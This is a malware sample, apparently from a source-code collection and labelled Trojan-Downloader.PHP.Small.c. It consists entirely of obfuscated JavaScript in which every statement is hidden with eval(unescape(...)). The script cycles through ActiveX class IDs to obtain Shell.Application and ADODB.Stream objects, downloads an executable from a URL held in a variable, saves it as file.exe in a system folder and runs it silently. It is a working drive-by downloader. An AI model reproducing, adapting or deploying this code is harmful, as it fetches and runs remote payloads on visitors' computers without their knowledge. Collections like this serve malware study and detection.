MalwareSourceCode/PHP/Trojan-Downloader.PHP.Small.c

eval(unescape('%76%61%72%20%65%78%65%75%72%6c%3d%75%72%6c%3b')); function CreateO(o,n){ eval(unescape('%76%61%72%20%72%3d%6e%75%6c%6c%3b')); eval(unescape('%74%72%79%7b%72%3d%6f%2e%43%72%65%61%74%65%4f%62%6a%65%63%74%28%6e%29%7d%63%61%74%63%68%28%65%29%7b%7d')); eval(unescape('%69%66%28%21%72%29%7b%74%72%79%7b%72%3d%6f%2e%43%72%65%61%74%65%4f%62%6a%65%63%74%28%6e%2c%22%22%29%7d%63%61%74%63%68%28%65%29%7b%7d%7d')); eval(unescape('%69%66%28%21%72%29%7b%74%72%79%7b%72%3d%6f%2e%43%72%65%61%74%65%4f%62%6a%65%63%74%28%6e%2c%22%22%2c%22%22%29%7d%63%61%74%63%68%28%65%29%7b%7d%7d')); eval(unescape('%69%66%28%21%72%29%7b%74%72%79%7b%72%3d%6f%2e%47%65%74%4f%62%6a%65%63%74%28%22%22%2c%6e%29%7d%63%61%74%63%68%28%65%29%7b%7d%7d')); eval(unescape('%69%66%28%21%72%29%7b%74%72%79%7b%72%3d%6f%2e%47%65%74%4f%62%6a%65%63%74%28%6e%2c%22%22%29%7d%63%61%74%63%68%28%65%29%7b%7d%7d')); eval(unescape('%69%66%28%21%72%29%7b%74%72%79%7b%72%3d%6f%2e%47%65%74%4f%62%6a%65%63%74%28%6e%29%7d%63%61%74%63%68%28%65%29%7b%7d%7d')); return(r); } function Go(a){ eval(unescape('%66%6e%61%6d%65%3d%22%66%69%6c%65%2e%65%78%65%22%3b')); eval(unescape('%76%61%72%20%66%73%6f%3d%61%2e%43%72%65%61%74%65%4f%62%6a%65%63%74%28%22%53%63%72%69%70%74%69%6e%67%2e%46%69%6c%65%53%79%73%74%65%6d%4f%62%6a%65%63%74%22%2c%22%22%29')); eval(unescape('%76%61%72%20%73%61%70%3d%43%72%65%61%74%65%4f%28%61%2c%22%53%68%65%6c%6c%2e%41%70%70%6c%69%63%61%74%69%6f%6e%22%29%3b')); eval(unescape('%76%61%72%20%78%3d%43%72%65%61%74%65%4f%28%61%2c%22%41%44%4f%44%42%2e%53%74%72%65%61%6d%22%29%3b')); eval(unescape('%76%61%72%20%6e%6c%3d%6e%75%6c%6c%3b')); eval(unescape('%66%6e%61%6d%65%3d%66%73%6f%2e%42%75%69%6c%64%50%61%74%68%28%66%73%6f%2e%47%65%74%53%70%65%63%69%61%6c%46%6f%6c%64%65%72%28%32%29%2c%66%6e%61%6d%65%29%3b')); eval(unescape('%78%2e%4d%6f%64%65%3d%33%3b')); try{eval(unescape('%6e%6c%3d%43%72%65%61%74%65%4f%28%61%2c%22%4d%69%63%72%22%20%22%6f%73%6f%66%74%2e%58%4d%4c%48%22%20%22%54%54%50%22%29%3b%6e%6c%2e%6f%70%65%6e%28%22%47%45%54%22%2c%65%78%65%75%72%6c%2c%66%61%6c%73%65%29%3b'));} catch(e){try{eval(unescape('%6e%6c%3d%43%72%65%61%74%65%4f%28%61%2c%22%4d%53%58%4d%4c%32%2e%58%4d%4c%48%54%54%50%22%29%3b%6e%6c%2e%6f%70%65%6e%28%22%47%45%54%22%2c%65%78%65%75%72%6c%2c%66%61%6c%73%65%29%3b'));} catch(e){try{eval(unescape('%6e%6c%3d%43%72%65%61%74%65%4f%28%61%2c%22%4d%53%58%4d%4c%32%2e%53%65%72%76%65%72%58%4d%4c%48%54%54%50%22%29%3b%6e%6c%2e%6f%70%65%6e%28%22%47%45%54%22%2c%65%78%65%75%72%6c%2c%66%61%6c%73%65%29%3b'));} catch(e){try{eval(unescape('%6e%6c%3d%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%6e%6c%2e%6f%70%65%6e%28%22%47%45%54%22%2c%65%78%65%75%72%6c%2c%66%61%6c%73%65%29%3b'));} catch(e){eval(unescape('%72%65%74%75%72%6e%20%30%3b'));}}}} eval(unescape('%78%2e%54%79%70%65%3d%31%3b')); eval(unescape('%6e%6c%2e%73%65%6e%64%28%6e%75%6c%6c%29%3b')); eval(unescape('%72%62%3d%6e%6c%2e%72%65%73%70%6f%6e%73%65%42%6f%64%79%3b')); eval(unescape('%78%2e%4f%70%65%6e%28%29%3b')); eval(unescape('%78%2e%57%72%69%74%65%28%72%62%29%3b')); eval(unescape('%78%2e%53%61%76%65%54%6f%66%69%6c%65%28%66%6e%61%6d%65%2c%32%29%3b')); eval(unescape('%73%61%70%2e%53%68%65%6c%6c%45%78%65%63%75%74%65%28%66%6e%61%6d%65%29%3b')); return 1; } function okei_s(){ eval(unescape('%76%61%72%20%69%3d%30%3b')); eval(unescape('%76%61%72%20%74%61%72%67%65%74%3d%6e%65%77%20%41%72%72%61%79%28%27%42%44%39%36%43%35%35%36%2d%36%35%41%33%2d%31%31%44%30%2d%39%38%33%41%2d%30%30%43%30%34%46%43%32%39%45%33%36%27%2c%27%42%44%39%36%43%35%35%36%2d%36%35%41%33%2d%31%31%44%30%2d%39%38%33%41%2d%30%30%43%30%34%46%43%32%39%45%33%30%27%2c%27%41%42%39%42%43%45%44%44%2d%45%43%37%45%2d%34%37%45%31%2d%39%33%32%32%2d%44%34%41%32%31%30%36%31%37%31%31%36%27%2c%27%30%30%30%36%46%30%33%33%2d%30%30%30%30%2d%30%30%30%30%2d%43%30%30%30%2d%30%30%30%30%30%30%30%30%30%30%34%36%27%2c%27%30%30%30%36%46%30%33%41%2d%30%30%30%30%2d%30%30%30%30%2d%43%30%30%30%2d%30%30%30%30%30%30%30%30%30%30%34%36%27%2c%27%36%65%33%32%30%37%30%61%2d%37%36%36%64%2d%34%65%65%36%2d%38%37%39%63%2d%64%63%31%66%61%39%31%64%32%66%63%33%27%2c%27%36%34%31%34%35%31%32%42%2d%42%39%37%38%2d%34%35%31%44%2d%41%30%44%38%2d%46%43%46%44%46%33%33%45%38%33%33%43%27%2c%27%37%46%35%42%37%46%36%33%2d%46%30%36%46%2d%34%33%33%31%2d%38%41%32%36%2d%33%33%39%45%30%33%43%30%41%45%33%44%27%2c%27%30%36%37%32%33%45%30%39%2d%46%34%43%32%2d%34%33%63%38%2d%38%33%35%38%2d%30%39%46%43%44%31%44%42%30%37%36%36%27%2c%27%36%33%39%46%37%32%35%46%2d%31%42%32%44%2d%34%38%33%31%2d%41%39%46%44%2d%38%37%34%38%34%37%36%38%32%30%31%30%27%2c%27%42%41%30%31%38%35%39%39%2d%31%44%42%33%2d%34%34%66%39%2d%38%33%42%34%2d%34%36%31%34%35%34%43%38%34%42%46%38%27%2c%27%44%30%43%30%37%44%35%36%2d%37%43%36%39%2d%34%33%46%31%2d%42%34%41%30%2d%32%35%46%35%41%31%31%46%41%42%31%39%27%2c%27%45%38%43%43%43%44%44%46%2d%43%41%32%38%2d%34%39%36%62%2d%42%30%35%30%2d%36%43%30%37%43%39%36%32%34%37%36%42%27%2c%6e%75%6c%6c%29%3b')); while(target[i]){ eval(unescape('%76%61%72%20%61%3d%6e%75%6c%6c%3b')); eval(unescape('%61%3d%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%22%6f%62%6a%65%63%74%22%29%3b')); a.setAttribute("classid","clsid:"+target[i]); if(a){try{eval(unescape('%76%61%72%20%62%3d%43%72%65%61%74%65%4f%28%61%2c%22%53%68%65%6c%6c%2e%41%70%70%6c%69%63%61%74%69%6f%6e%22%29%3b'));if(b){if(Go(a))return 1;}}catch(e){}} i++; } } if(okei_s()) success=1;